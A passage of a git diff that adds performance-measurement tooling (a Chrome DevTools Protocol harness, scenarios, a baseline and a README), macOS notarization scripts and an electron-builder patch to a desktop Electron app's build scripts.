+// LoAF recorder for a window of work driven inside `body`.
+const WITH_LOAF = body => `
+  (async () => {
+    const lofs = []
+    const po = new PerformanceObserver(list => {
+      for (const e of list.getEntries()) {
+        lofs.push({
+          ms: Math.round(e.duration),
+          block: Math.round(e.blockingDuration ?? 0),
+          style: e.styleAndLayoutStart ? Math.round(e.startTime + e.duration - e.styleAndLayoutStart) : 0,
+          scripts: (e.scripts ?? []).filter(s => s.duration >= 5).map(s =>
+            (s.invokerType ?? '') + ':' + (s.invoker ?? s.sourceFunctionName ?? '?') + '@' +
+            ((s.sourceURL ?? '').split('/').pop() ?? '') + ' ' + Math.round(s.duration) + 'ms')
+        })
+      }
+    })
+    po.observe({ type: 'long-animation-frame', buffered: false })
+    const frames = []
+    let last = performance.now()
+    let stop = false
+    const tick = () => {
+      if (stop) return
+      const now = performance.now()
+      frames.push(now - last)
+      last = now
+      requestAnimationFrame(tick)
+    }
+    requestAnimationFrame(tick)
+    ${body}
+    stop = true
+    po.disconnect()
+    const total = frames.reduce((a, b) => a + b, 0)
+    const sorted = [...frames].sort((a, b) => a - b)
+    const pct = p => sorted.length ? sorted[Math.min(sorted.length - 1, Math.floor(sorted.length * p))] : 0
+    return {
+      fps: total ? Math.round((frames.length / total) * 1000 * 10) / 10 : 0,
+      p95: Math.round(pct(0.95) * 10) / 10,
+      worst: sorted.length ? Math.round(sorted[sorted.length - 1] * 10) / 10 : 0,
+      slow33: frames.filter(f => f > 33).length,
+      longFrames: lofs.slice(0, 10)
+    }
+  })()
+`
+
+const DRAG_BODY = `
+  const handle = document.querySelector('[role="separator"]')
+  if (!handle) throw new Error('no sash')
+  const box = handle.getBoundingClientRect()
+  const y = box.top + box.height / 2
+  const x0 = box.left + box.width / 2
+  let x = x0
+  const opts = { bubbles: true, cancelable: true, pointerId: 1, pointerType: 'mouse', isPrimary: true, button: 0, buttons: 1 }
+  handle.dispatchEvent(new PointerEvent('pointerdown', { ...opts, clientX: x, clientY: y }))
+  for (let i = 0; i < 60; i++) {
+    x += (i < 30 ? 3 : -3)
+    window.dispatchEvent(new PointerEvent('pointermove', { ...opts, clientX: x, clientY: y }))
+    await new Promise(r => requestAnimationFrame(r))
+  }
+  window.dispatchEvent(new PointerEvent('pointerup', { ...opts, buttons: 0, clientX: x, clientY: y }))
+`
+
+const TYPE_BODY = `
+  const el = [...document.querySelectorAll('[contenteditable="true"]')].find(e => !e.closest('[data-pane-hidden]'))
+  if (!el) throw new Error('no composer')
+  el.focus()
+  for (let i = 0; i < 40; i++) {
+    const ch = 'the quick brown fox '[i % 20]
+    el.dispatchEvent(new KeyboardEvent('keydown', { bubbles: true, key: ch }))
+    el.textContent += ch
+    el.dispatchEvent(new InputEvent('input', { bubbles: true, data: ch, inputType: 'insertText' }))
+    el.dispatchEvent(new KeyboardEvent('keyup', { bubbles: true, key: ch }))
+    await new Promise(r => requestAnimationFrame(r))
+  }
+`
+
+// Session switching: click each sidebar session row, time route->settled.
+const SWITCH = `
+  (async () => {
+    const pick = () => [...document.querySelectorAll('[data-slot="row-button"]')]
+      .filter(el => el.offsetParent !== null).slice(0, 8)
+    if (pick().length < 2) {
+      throw new Error('found ' + pick().length + ' session rows')
+    }
+    const times = []
+    const labels = []
+    for (let i = 0; i < Math.min(pick().length, 6); i++) {
+      // Re-query each iteration: a switch can re-render the sidebar and
+      // detach the previously captured nodes.
+      const row = pick()[i]
+      if (!row) break
+      labels.push((row.textContent || '').slice(0, 24))
+      const t0 = performance.now()
+      row.click()
+      let calm = 0
+      while (calm < 2 && performance.now() - t0 < 5000) {
+        const f0 = performance.now()
+        await new Promise(r => requestAnimationFrame(r))
+        const dt = performance.now() - f0
+        calm = dt < 20 ? calm + 1 : 0
+      }
+      times.push(Math.round(performance.now() - t0))
+      await new Promise(r => setTimeout(r, 400))
+    }
+    return { switches: times, labels, avg: Math.round(times.reduce((a, b) => a + b, 0) / times.length) }
+  })()
+`
+
+const cmd = process.argv[2] ?? 'status'
+const arg = process.argv[3]
+const { evaluate, close } = await attach()
+
+try {
+  if (cmd === 'status') {
+    const r = await evaluate(`JSON.stringify({
+      url: location.hash,
+      perfLive: typeof window.__PERF_LIVE__ !== 'undefined',
+      renderCounts: typeof window.__RENDER_COUNTS__ !== 'undefined',
+      tiles: document.querySelectorAll('[data-tree-group]').length,
+      sessions: document.querySelectorAll('[data-slot*="session-row"], [data-session-row]').length,
+      composers: [...document.querySelectorAll('[contenteditable="true"]')].length
+    })`)
+    console.log(r)
+  } else if (cmd === 'fps') {
+    console.log(JSON.stringify(await evaluate(FPS(Number(arg ?? 4)))))
+  } else if (cmd === 'drag') {
+    const r = await evaluate(WITH_LOAF(DRAG_BODY))
+    console.log('drag', JSON.stringify({ fps: r.fps, p95: r.p95, worst: r.worst, slow33: r.slow33 }))
+    for (const lf of r.longFrames) {
+      console.log(`  ⏱ ${lf.ms}ms block=${lf.block} style=${lf.style} → ${lf.scripts.join(' | ') || '(no script ≥5ms)'}`)
+    }
+  } else if (cmd === 'type') {
+    const r = await evaluate(WITH_LOAF(TYPE_BODY))
+    console.log('type', JSON.stringify({ fps: r.fps, p95: r.p95, worst: r.worst, slow33: r.slow33 }))
+    for (const lf of r.longFrames) {
+      console.log(`  ⏱ ${lf.ms}ms block=${lf.block} style=${lf.style} → ${lf.scripts.join(' | ') || '(no script ≥5ms)'}`)
+    }
+  } else if (cmd === 'switch') {
+    console.log(JSON.stringify(await evaluate(SWITCH)))
+  } else if (cmd === 'eval') {
+    console.log(JSON.stringify(await evaluate(arg)))
+  } else if (cmd === 'profile') {
+    // CPU-profile one session switch via CDP Profiler (Document Policy blocks
+    // the in-page Profiler API, CDP is exempt). arg = row label prefix.
+    await send('Profiler.enable')
+    await send('Profiler.setSamplingInterval', { interval: 200 })
+    await send('Profiler.start')
+    const r = await evaluate(`
+      (async () => {
+        const pick = () => [...document.querySelectorAll('[data-slot="row-button"]')].filter(el => el.offsetParent !== null)
+        const row = pick().find(el => (el.textContent || '').startsWith(${JSON.stringify(arg ?? 'GUI')}))
+        if (!row) return 'row not found'
+        const t0 = performance.now()
+        row.click()
+        let calm = 0
+        while (calm < 3 && performance.now() - t0 < 6000) {
+          const f0 = performance.now()
+          await new Promise(r => requestAnimationFrame(r))
+          calm = (performance.now() - f0) < 20 ? calm + 1 : 0
+        }
+        return Math.round(performance.now() - t0)
+      })()
+    `)
+    const { profile } = await send('Profiler.stop')
+    // Self-time per function.
+    const hitById = new Map()
+    for (let i = 0; i < profile.samples.length; i++) {
+      const id = profile.samples[i]
+      const dt = profile.timeDeltas[i] ?? 0
+      hitById.set(id, (hitById.get(id) ?? 0) + dt)
+    }
+    const rows = []
+    for (const node of profile.nodes) {
+      const us = hitById.get(node.id)
+      if (!us || us < 5000) continue
+      const f = node.callFrame
+      rows.push([Math.round(us / 1000), `${f.functionName || '(anon)'} @ ${(f.url || '').split('/').pop()}:${f.lineNumber}`])
+    }
+    rows.sort((a, b) => b[0] - a[0])
+    console.log('switch took', r, 'ms — top self-time:')
+    for (const [ms, name] of rows.slice(0, 18)) {
+      console.log(`  ${String(ms).padStart(6)}ms  ${name}`)
+    }
+  } else if (cmd === 'send') {
+    const r = await evaluate(`
+      (async () => {
+        const el = [...document.querySelectorAll('[contenteditable="true"]')].find(e => !e.closest('[data-pane-hidden]'))
+        if (!el) return 'no composer'
+        el.focus()
+        document.execCommand('insertText', false, ${JSON.stringify(arg ?? 'hello')})
+        await new Promise(r => setTimeout(r, 120))
+        el.dispatchEvent(new KeyboardEvent('keydown', { bubbles: true, cancelable: true, key: 'Enter' }))
+        return 'sent'
+      })()
+    `)
+    console.log(r)
+  } else {
+    console.log('unknown cmd', cmd)
+  }
+} finally {
+  close()
+}
diff --git a/ui-desktop/scripts/notarize-artifact.mjs b/ui-desktop/scripts/notarize-artifact.mjs
new file mode 100644
index 000000000..ba7458aa4
--- /dev/null
+++ b/ui-desktop/scripts/notarize-artifact.mjs
@@ -0,0 +1,77 @@
+import { existsSync, writeFileSync, rmSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { execFile } from 'node:child_process'
+
+function run(command, args) {
+  return new Promise((resolve, reject) => {
+    execFile(command, args, (error, stdout, stderr) => {
+      if (error) {
+        // Intentionally omit args from the rejection message: callers pass
+        // notarization credentials (key id, issuer, key file path) here, and
+        // surfacing them in error output would land in CI logs.
+        reject(new Error(`${command} failed: ${stderr?.trim() || stdout?.trim() || error.message}`))
+        return
+      }
+      resolve()
+    })
+  })
+}
+
+function inlineKeyLooksValid(value) {
+  return value.includes('BEGIN PRIVATE KEY') && value.includes('END PRIVATE KEY')
+}
+
+function resolveApiKeyPath(rawValue) {
+  const value = String(rawValue || '').trim()
+  if (!value) return { keyPath: '', cleanup: () => {} }
+
+  if (existsSync(value)) {
+    return { keyPath: value, cleanup: () => {} }
+  }
+
+  if (!inlineKeyLooksValid(value)) {
+    throw new Error('APPLE_API_KEY must be a file path or inline .p8 key content')
+  }
+
+  const tempPath = join(tmpdir(), `clawcodex-notary-${Date.now()}-${process.pid}.p8`)
+  writeFileSync(tempPath, value, 'utf8')
+  return {
+    keyPath: tempPath,
+    cleanup: () => rmSync(tempPath, { force: true })
+  }
+}
+
+async function main() {
+  const artifactPath = process.argv[2]
+  if (!artifactPath || !existsSync(artifactPath)) {
+    throw new Error(`Missing artifact to notarize: ${artifactPath || '(none)'}`)
+  }
+
+  const profile = String(process.env.APPLE_NOTARY_PROFILE || '').trim()
+  if (profile) {
+    await run('xcrun', ['notarytool', 'submit', artifactPath, '--keychain-profile', profile, '--wait'])
+    await run('xcrun', ['stapler', 'staple', '-v', artifactPath])
+    return
+  }
+
+  const keyId = String(process.env.APPLE_API_KEY_ID || '').trim()
+  const issuer = String(process.env.APPLE_API_ISSUER || '').trim()
+  const rawApiKey = process.env.APPLE_API_KEY
+  if (!rawApiKey || !keyId || !issuer) {
+    throw new Error('APPLE_API_KEY, APPLE_API_KEY_ID, and APPLE_API_ISSUER are required')
+  }
+
+  const { keyPath, cleanup } = resolveApiKeyPath(rawApiKey)
+  try {
+    await run('xcrun', ['notarytool', 'submit', artifactPath, '--key', keyPath, '--key-id', keyId, '--issuer', issuer, '--wait'])
+    await run('xcrun', ['stapler', 'staple', '-v', artifactPath])
+  } finally {
+    cleanup()
+  }
+}
+
+main().catch(() => {
+  console.error('Notarization failed. Check configuration and command output in secure CI logs.')
+  process.exit(1)
+})
diff --git a/ui-desktop/scripts/notarize.mjs b/ui-desktop/scripts/notarize.mjs
new file mode 100644
index 000000000..1af9d69ae
--- /dev/null
+++ b/ui-desktop/scripts/notarize.mjs
@@ -0,0 +1,100 @@
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+import { execFile } from 'node:child_process'
+
+function run(command, args) {
+  return new Promise((resolve, reject) => {
+    execFile(command, args, (error, stdout, stderr) => {
+      if (error) {
+        reject(
+          new Error(
+            `${command} ${args.join(' ')} failed: ${stderr?.trim() || stdout?.trim() || error.message}`
+          )
+        )
+        return
+      }
+      resolve({ stdout, stderr })
+    })
+  })
+}
+
+function inlineKeyLooksValid(value) {
+  return value.includes('BEGIN PRIVATE KEY') && value.includes('END PRIVATE KEY')
+}
+
+function resolveApiKeyPath(rawValue) {
+  const value = String(rawValue || '').trim()
+  if (!value) return { keyPath: '', cleanup: () => {} }
+
+  if (fs.existsSync(value)) {
+    return { keyPath: value, cleanup: () => {} }
+  }
+
+  if (!inlineKeyLooksValid(value)) {
+    throw new Error('APPLE_API_KEY must be a file path or inline .p8 key content')
+  }
+
+  const tempPath = path.join(os.tmpdir(), `clawcodex-notary-${Date.now()}-${process.pid}.p8`)
+  fs.writeFileSync(tempPath, value, 'utf8')
+  return {
+    keyPath: tempPath,
+    cleanup: () => {
+      try {
+        fs.rmSync(tempPath, { force: true })
+      } catch {
+        // Best-effort cleanup.
+      }
+    }
+  }
+}
+
+export default async function notarize(context) {
+  const { electronPlatformName, appOutDir, packager } = context
+  if (electronPlatformName !== 'darwin') return
+
+  const appName = packager.appInfo.productFilename
+  const appPath = path.join(appOutDir, `${appName}.app`)
+  if (!fs.existsSync(appPath)) {
+    throw new Error(`Cannot notarize missing app bundle: ${appPath}`)
+  }
+
+  const profile = String(process.env.APPLE_NOTARY_PROFILE || '').trim()
+  if (profile) {
+    const zipPath = path.join(appOutDir, `${appName}.zip`)
+    await run('ditto', ['-c', '-k', '--sequesterRsrc', '--keepParent', appPath, zipPath])
+    await run('xcrun', ['notarytool', 'submit', zipPath, '--keychain-profile', profile, '--wait'])
+    await run('xcrun', ['stapler', 'staple', '-v', appPath])
+    try {
+      fs.rmSync(zipPath, { force: true })
+    } catch {
+      // Best-effort cleanup.
+    }
+    return
+  }
+
+  const keyId = String(process.env.APPLE_API_KEY_ID || '').trim()
+  const issuer = String(process.env.APPLE_API_ISSUER || '').trim()
+  const rawApiKey = process.env.APPLE_API_KEY
+  if (!rawApiKey || !keyId || !issuer) {
+    console.log(
+      'Skipping notarization: APPLE_API_KEY, APPLE_API_KEY_ID, and APPLE_API_ISSUER are not fully configured.'
+    )
+    return
+  }
+
+  const { keyPath, cleanup } = resolveApiKeyPath(rawApiKey)
+  const zipPath = path.join(appOutDir, `${appName}.zip`)
+  try {
+    await run('ditto', ['-c', '-k', '--sequesterRsrc', '--keepParent', appPath, zipPath])
+    await run('xcrun', ['notarytool', 'submit', zipPath, '--key', keyPath, '--key-id', keyId, '--issuer', issuer, '--wait'])
+    await run('xcrun', ['stapler', 'staple', '-v', appPath])
+  } finally {
+    try {
+      fs.rmSync(zipPath, { force: true })
+    } catch {
+      // Best-effort cleanup.
+    }
+    cleanup()
+  }
+}
diff --git a/ui-desktop/scripts/patch-electron-builder-mac-binary.mjs b/ui-desktop/scripts/patch-electron-builder-mac-binary.mjs
new file mode 100644
index 000000000..82dd4d93b
--- /dev/null
+++ b/ui-desktop/scripts/patch-electron-builder-mac-binary.mjs
@@ -0,0 +1,64 @@
+import fs from 'node:fs'
+import path from 'node:path'
+
+if (process.platform !== 'darwin') {
+  process.exit(0)
+}
+
+const desktopRoot = path.resolve(import.meta.dirname, '..')
+const repoRoot = path.resolve(desktopRoot, '..', '..')
+const electronMacPath = path.join(repoRoot, 'node_modules', 'app-builder-lib', 'out', 'electron', 'electronMac.js')
+
+const marker = 'clawcodex-macos-electron-binary-fallback'
+const needle = `    await Promise.all([
+        doRename(path.join(contentsPath, "MacOS"), electronBranding.productName, appPlist.CFBundleExecutable),
+        (0, builder_util_1.unlinkIfExists)(path.join(appOutDir, "LICENSE")),
+        (0, builder_util_1.unlinkIfExists)(path.join(appOutDir, "LICENSES.chromium.html")),
+    ]);`
+const replacement = `    // ${marker}: electron-builder 26.8.x can sometimes copy
+    // Electron.app without its main MacOS/Electron binary before this rename.
+    // Restore it from the installed Electron runtime so local desktop installs
+    // do not fail with ENOENT during macOS arm64 packaging.
+    const macosDir = path.join(contentsPath, "MacOS");
+    const bundledElectronBinary = path.join(macosDir, electronBranding.productName);
+    if (!fs.existsSync(bundledElectronBinary)) {
+        const candidates = [
+            path.join(packager.info.framework.distMacOsAppName, "Contents", "MacOS", electronBranding.productName),
+            // npm may nest the workspace-only electron devDep under
+            // apps/desktop/node_modules (process.cwd() during pack), or hoist
+            // it to the repo root. Try the workspace-local install first, then
+            // the root hoist, so the fallback works under either layout.
+            path.join(process.cwd(), "node_modules", "electron", "dist", "Electron.app", "Contents", "MacOS", electronBranding.productName),
+            path.join(process.cwd(), "..", "..", "node_modules", "electron", "dist", "Electron.app", "Contents", "MacOS", electronBranding.productName),
+        ];
+        const sourceBinary = candidates.find(candidate => fs.existsSync(candidate));
+        if (sourceBinary == null) {
+            throw new Error("Electron binary missing from packaged app and Electron runtime: " + bundledElectronBinary);
+        }
+        await (0, promises_1.copyFile)(sourceBinary, bundledElectronBinary);
+        await (0, promises_1.chmod)(bundledElectronBinary, 0o755);
+    }
+    await Promise.all([
+        doRename(macosDir, electronBranding.productName, appPlist.CFBundleExecutable),
+        (0, builder_util_1.unlinkIfExists)(path.join(appOutDir, "LICENSE")),
+        (0, builder_util_1.unlinkIfExists)(path.join(appOutDir, "LICENSES.chromium.html")),
+    ]);`
+
+if (!fs.existsSync(electronMacPath)) {
+  console.warn(`[patch-electron-builder] skipped: ${electronMacPath} not found`)
+  process.exit(0)
+}
+
+const source = fs.readFileSync(electronMacPath, 'utf8')
+if (source.includes(marker)) {
+  console.log('[patch-electron-builder] macOS Electron binary fallback already applied')
+  process.exit(0)
+}
+
+if (!source.includes(needle)) {
+  console.warn('[patch-electron-builder] skipped: expected electronMac.js shape not found')
+  process.exit(0)
+}
+
+fs.writeFileSync(electronMacPath, source.replace(needle, replacement))
+console.log('[patch-electron-builder] applied macOS Electron binary fallback')
diff --git a/ui-desktop/scripts/perf/README.md b/ui-desktop/scripts/perf/README.md
new file mode 100644
index 000000000..fad85f27b
--- /dev/null
+++ b/ui-desktop/scripts/perf/README.md
@@ -0,0 +1,93 @@
+# Desktop perf harness
+
+One systematized way to measure desktop rendering/interaction performance,
+diff it against a committed baseline, and fail on regressions. It replaces the
+dozen one-off `measure-*` / `profile-*` scripts that each reinvented the CDP
+client, arg parsing, stats, and output (and never had a baseline).
+
+## Quick start
+
+```bash
+# Isolated instance (recommended) — no running app or LLM credits needed.
+# Its own --user-data-dir + CLAWCODEX_CONFIG_DIR means it never collides with `hgui`.
+npm run perf -- --spawn
+
+# Or: launch an isolated instance once, attach repeatedly (faster iteration).
+npm run perf:serve            # leaves an instance on :9222
+npm run perf                  # attaches, runs the CI suite, gates on baseline
+
+# One scenario, with a CPU profile:
+npm run perf -- stream --cpuprofile --tokens 800
+
+# Representative PRODUCTION numbers (minified React, not the ~3x-slower dev build):
+npm run perf -- cold-start stream keystroke transcript --spawn --prod
+
+# Re-capture the baseline on your reference device, then commit baseline.json:
+npm run perf -- cold-start stream keystroke transcript --spawn --prod --update-baseline
+```
+
+## Dev vs prod
+
+By default the harness measures the **dev** renderer (fast to spin up, good for
+relative regression checks). Pass `--prod` (with `--spawn`) to build a
+production renderer *with the probe included* (`VITE_PERF_PROBE=1`) and measure
+minified React — the representative shipped numbers. The committed baseline is
+captured with `--prod`.
+
+## Why isolation matters
+
+The measurement this harness exists to run was historically blocked: a running
+`hgui` holds the Electron single-instance lock, so a second instance quit
+immediately. `--spawn` / `perf:serve` launch with their own `--user-data-dir`
+(separate lock scope), their own `CLAWCODEX_CONFIG_DIR` (separate backend + sessions),
+and their own `--remote-debugging-port`. Synthetic scenarios drive `$messages`
+directly via `window.__PERF_DRIVE__`, so no LLM credits are spent.
+
+## Scenarios
+
+| scenario | tier | measures | replaces |
+|---|---|---|---|
+| `stream` | ci | streaming longtasks, frame p95/p99, mutation cadence | measure-synthetic-stream, profile-synth-stream, profile-long-stream |
+| `stream --real` | backend | same, from a real LLM stream | measure-real-stream, profile-real-stream |
+| `keystroke` | ci | composer keystroke → paint latency | measure-latency, profile-typing, leak-typing |
+| `transcript` | ci | large-transcript mount + paint cost | (new) |
+| `render-churn` | ci | per-component render attribution + store churn while N tabs stream | (new) |
+| `idle-cost` | report | busy-but-silent tiles: idle commit rate, + fps while resizing / typing | (new) |
+| `right-pane` | report | file tree + persistent xterm tabs under chat/terminal output and split dragging | (new) |
+| `cold-start` | cold | launch → CDP → driver → first paint (fresh spawn/run) | (new) |
+| `first-token` | backend | Enter → first assistant token painted (TTFT) | (new) |
+| `submit` | backend | Enter → cleared → user msg painted, scroll jump | measure-submit, measure-jump |
+| `session-switch` | backend | route → first-paint → settle | profile-session-switch |
+| `session-load` | backend | how far a session's transcript moves after first paint | (new) |
+| `profile-switch` | backend | rail click → sidebar settled | measure-profile-switch |
+
+`ci` + `cold` scenarios need no backend/credits and are gated against
+`baseline.json` (`cold-start` requires `--spawn` since it measures a fresh
+launch, and must be run in its own invocation). `backend` scenarios need a live
+backend (and `--spawn` or a real session/credits) and are report-only.
+
+CPU profiling is a cross-cutting `--cpuprofile` flag on any scenario (it wraps
+the run in `Profiler.start/stop` and prints a top-self-time table), replacing
+every standalone `profile-*` script.
+
+## Adding a scenario
+
+Create `scenarios/<name>.mjs` exporting `{ name, tier, description, run(cdp, opts) }`
+where `run` returns `{ metrics, detail }` (metrics = flat numbers, lower is
+better), then register it in `scenarios/index.mjs`. If it's `ci`, add a
+`baseline.json` entry (or run `--update-baseline`).
+
+## Layout
+
+- `lib/cdp.mjs` — the one CDP client + target discovery + typing + CPU-profile wrapper + DOM selectors.
+- `lib/stats.mjs` — percentiles, histograms, CPU-profile self-time ranking.
+- `lib/baseline.mjs` — load/compare/update the baseline + regression gate.
+- `lib/launch.mjs` — attach, or spawn a fully isolated instance.
+- `scenarios/` — one module per measurement.
+- `run.mjs` — entrypoint. `serve.mjs` — standalone isolated launcher.
+
+## Not migrated (kept as dev utilities)
+
+`eval.mjs`, `reload.mjs`, `reload-renderer.mjs`, `probe-renderer.mjs`,
+`probe-thread.mjs`, `click-session.mjs`, `diag-*.mjs` are interactive dev
+helpers, not benchmarks. They can adopt `lib/cdp.mjs` in a follow-up.
diff --git a/ui-desktop/scripts/perf/baseline.json b/ui-desktop/scripts/perf/baseline.json
new file mode 100644
index 000000000..6750b8616
--- /dev/null
+++ b/ui-desktop/scripts/perf/baseline.json
@@ -0,0 +1,79 @@
+{
+  "_meta": {
+    "note": "Median of 5 runs, darwin-arm64, `--spawn --prod` (PRODUCTION minified renderer, real boot \u2014 no fake-boot). Representative shipped numbers, not dev-inflated. cold-start reuses one profile so the V8 code cache is WARM (what users get after first launch, ~1.0s); a fresh-profile first launch is ~+400ms (measure with `--cold-fresh`). Marks are process-spawn wall clock (spawn_to_*) or renderer nav-relative (dom_*). Re-baseline per device with `--update-baseline`; tolerances loose for cross-machine/disk variance.",
+    "platform": "darwin-arm64",
+    "node": "v24.11.0",
+    "updated": "2026-07-27T00:30:11.290Z"
+  },
+  "scenarios": {
+    "stream": {
+      "tolerance": {
+        "tolFrac": 0.6,
+        "tolAbs": 5
+      },
+      "metrics": {
+        "longtasks_n": 1,
+        "longtask_max_ms": 67,
+        "frame_p95_ms": 22,
+        "frame_p99_ms": 23.7,
+        "slow_frames_33": 1,
+        "intermut_p95_ms": 36.1
+      }
+    },
+    "keystroke": {
+      "tolerance": {
+        "tolFrac": 0.6,
+        "tolAbs": 4
+      },
+      "metrics": {
+        "keystroke_p50_ms": 2.1,
+        "keystroke_p95_ms": 8.7,
+        "keystroke_p99_ms": 16.9,
+        "keystroke_slow_16": 2
+      }
+    },
+    "transcript": {
+      "tolerance": {
+        "tolFrac": 0.75,
+        "tolAbs": 40
+      },
+      "metrics": {
+        "transcript_mount_ms": 145,
+        "transcript_longtask_ms": 82,
+        "transcript_longtask_max_ms": 82
+      }
+    },
+    "cold-start": {
+      "tolerance": {
+        "tolFrac": 0.6,
+        "tolAbs": 150
+      },
+      "metrics": {
+        "spawn_to_cdp_ms": 606,
+        "spawn_to_driver_ms": 984,
+        "dom_interactive_ms": 324,
+        "dom_content_loaded_ms": 574,
+        "nav_to_read_ms": 721
+      }
+    },
+    "multitab": {
+      "metrics": {
+        "longtasks_n": 0,
+        "longtask_max_ms": 0,
+        "frame_p95_ms": 29.1,
+        "frame_p99_ms": 36.2,
+        "slow_frames_33": 9
+      }
+    },
+    "render-churn": {
+      "metrics": {
+        "sidebar_renders": 0,
+        "sidebar_wasted": 0,
+        "wasted_renders": 1704,
+        "total_renders": 8221,
+        "commits": 1352,
+        "wasted_notifies": 0
+      }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/run.mjs b/ui-desktop/scripts/perf/run.mjs
new file mode 100644
index 000000000..98a70d60a
--- /dev/null
+++ b/ui-desktop/scripts/perf/run.mjs
@@ -0,0 +1,221 @@
+// Desktop perf harness entrypoint.
+//
+//   node scripts/perf/run.mjs [scenarios...] [flags]
+//
+// Default (no scenarios): runs the CI suite (stream, keystroke, transcript)
+// against a renderer on :9222 and diffs the committed baseline.
+//
+// Flags:
+//   --spawn                launch a fully isolated instance (own user-data-dir +
+//                          CLAWCODEX_CONFIG_DIR + debug port) instead of attaching
+//   --port <n>             CDP port to attach to (default 9222)
+//   --dev-port <n>         vite dev-server port to match / spawn (default 5174)
+//   --runs <n>             repeat each scenario n times, report the median (default 1)
+//   --cpuprofile [dir]     also record a V8 CPU profile per scenario (top-30 self time)
+//   --update-baseline      overwrite baseline.json with this run's numbers
+//   --json <path>          write the full results JSON here
+//   --tier <ci|backend>    run all scenarios of a tier
+//   ...scenario opts       e.g. --tokens 600, --turns 400, --real, --a <sid> --b <sid>, --profile <name>
+//
+// Examples:
+//   npm run perf                       # attach to :9222, run CI suite, gate on baseline
+//   npm run perf -- --spawn            # isolated instance, no running app needed
+//   npm run perf -- stream --cpuprofile --tokens 800
+//   npm run perf -- --update-baseline
+
+import { writeFileSync } from 'node:fs'
+import { dirname, join, resolve } from 'node:path'
+import { fileURLToPath } from 'node:url'
+
+import { withCpuProfile } from './lib/cdp.mjs'
+import { compareScenario, loadBaseline, updateBaseline } from './lib/baseline.mjs'
+import { attach, buildProdRenderer, coldStartSamples, startIsolatedInstance } from './lib/launch.mjs'
+import { cpuProfileTopSelf, median } from './lib/stats.mjs'
+import { CI_SCENARIOS, SCENARIOS } from './scenarios/index.mjs'
+
+const HERE = dirname(fileURLToPath(import.meta.url))
+const BASELINE_PATH = join(HERE, 'baseline.json')
+
+function parseArgs(argv) {
+  const positional = []
+  const flags = {}
+
+  for (let i = 0; i < argv.length; i++) {
+    const arg = argv[i]
+
+    if (arg.startsWith('--')) {
+      const [key, inlineValue] = arg.slice(2).split(/=(.*)/s)
+      const next = argv[i + 1]
+
+      if (inlineValue !== undefined) {
+        flags[key] = inlineValue
+      } else if (next === undefined || next.startsWith('--')) {
+        flags[key] = true
+      } else {
+        flags[key] = next
+        i++
+      }
+    } else {
+      positional.push(arg)
+    }
+  }
+
+  return { positional, flags }
+}
+
+function medianMetrics(runs) {
+  const keys = new Set(runs.flatMap(r => Object.keys(r)))
+  const out = {}
+
+  for (const key of keys) {
+    const values = runs.map(r => r[key]).filter(v => typeof v === 'number')
+    out[key] = values.length ? Math.round(median(values) * 10) / 10 : runs[0][key]
+  }
+
+  return out
+}
+
+function printMetrics(name, metrics, comparison) {
+  console.log(`\n● ${name}`)
+  const byMetric = new Map((comparison?.rows ?? []).map(r => [r.metric, r]))
+
+  for (const [metric, value] of Object.entries(metrics)) {
+    const row = byMetric.get(metric)
+
+    if (!row || row.baseline === null) {
+      console.log(`   ${metric.padEnd(26)} ${String(value).padStart(9)}${row ? '   (new)' : ''}`)
+    } else {
+      const tag = row.status === 'REGRESSED' ? '  ✗ REGRESSED' : '  ✓'
+      const delta = row.deltaPct === null ? '' : ` (${row.deltaPct > 0 ? '+' : ''}${row.deltaPct}%)`
+      console.log(
+        `   ${metric.padEnd(26)} ${String(value).padStart(9)}  vs ${String(row.baseline).padStart(9)}${delta}${tag}`
+      )
+    }
+  }
+}
+
+async function main() {
+  const { positional, flags } = parseArgs(process.argv.slice(2))
+
+  let names = positional
+  if (!names.length) {
+    names = flags.tier ? Object.values(SCENARIOS).filter(s => s.tier === flags.tier).map(s => s.name) : CI_SCENARIOS
+  }
+
+  const unknown = names.filter(n => !SCENARIOS[n])
+  if (unknown.length) {
+    console.error(`unknown scenario(s): ${unknown.join(', ')}\nknown: ${Object.keys(SCENARIOS).join(', ')}`)
+    process.exit(2)
+  }
+
+  const runs = Number(flags.runs ?? 1)
+  const port = Number(flags.port ?? 9222)
+  const devPort = Number(flags['dev-port'] ?? 5174)
+  const prod = 'prod' in flags
+  const cpuProfile = 'cpuprofile' in flags
+  const cpuProfileDir = typeof flags.cpuprofile === 'string' ? flags.cpuprofile : HERE
+
+  const coldNames = names.filter(n => SCENARIOS[n].tier === 'cold')
+  const liveNames = names.filter(n => SCENARIOS[n].tier !== 'cold')
+
+  // ci + cold metrics are stable enough to gate against the baseline; backend
+  // scenarios vary too much with the live environment, so they're report-only.
+  const GATED = new Set(['ci', 'cold'])
+  const baseline = loadBaseline(BASELINE_PATH)
+  const results = []
+  let regressed = false
+
+  const record = (name, tier, metrics, detail) => {
+    const comparison = GATED.has(tier) ? compareScenario(name, metrics, baseline) : null
+    regressed = regressed || Boolean(comparison?.regressed)
+    results.push({ name, tier, metrics, detail })
+    printMetrics(name, metrics, comparison)
+  }
+
+  if (prod) {
+    if (!flags.spawn) {
+      console.error('--prod requires --spawn (it builds and launches an isolated production renderer)')
+      process.exit(2)
+    }
+
+    console.log('[perf] building production renderer with the probe (VITE_PERF_PROBE=1)…')
+    await buildProdRenderer()
+  }
+
+  // Cold start measures the launch itself → a fresh spawn per run.
+  if (coldNames.length) {
+    if (!flags.spawn) {
+      console.error('cold-start requires --spawn (it measures a fresh launch)')
+      process.exit(2)
+    }
+
+    // Representative WARM-cache samples (see coldStartSamples). Pass --cold-fresh
+    // to instead measure the worst-case first-launch (cold code cache).
+    const perRun = await coldStartSamples({ runs, port, devPort, prod, warm: !('cold-fresh' in flags) })
+
+    record('cold-start', 'cold', medianMetrics(perRun), { runs, warm: !('cold-fresh' in flags) })
+  }
+
+  // Steady-state scenarios share one persistent connection.
+  if (liveNames.length) {
+    const connection = flags.spawn
+      ? await startIsolatedInstance({ port, devPort, prod })
+      : await attach({ port, match: prod ? undefined : String(devPort) })
+
+    const { cdp, teardown } = connection
+
+    try {
+      for (const name of liveNames) {
+        const scenario = SCENARIOS[name]
+        const perRun = []
+        let detail = null
+
+        for (let i = 0; i < runs; i++) {
+          if (cpuProfile && i === 0) {
+            const { result, profile } = await withCpuProfile(cdp, () => scenario.run(cdp, flags))
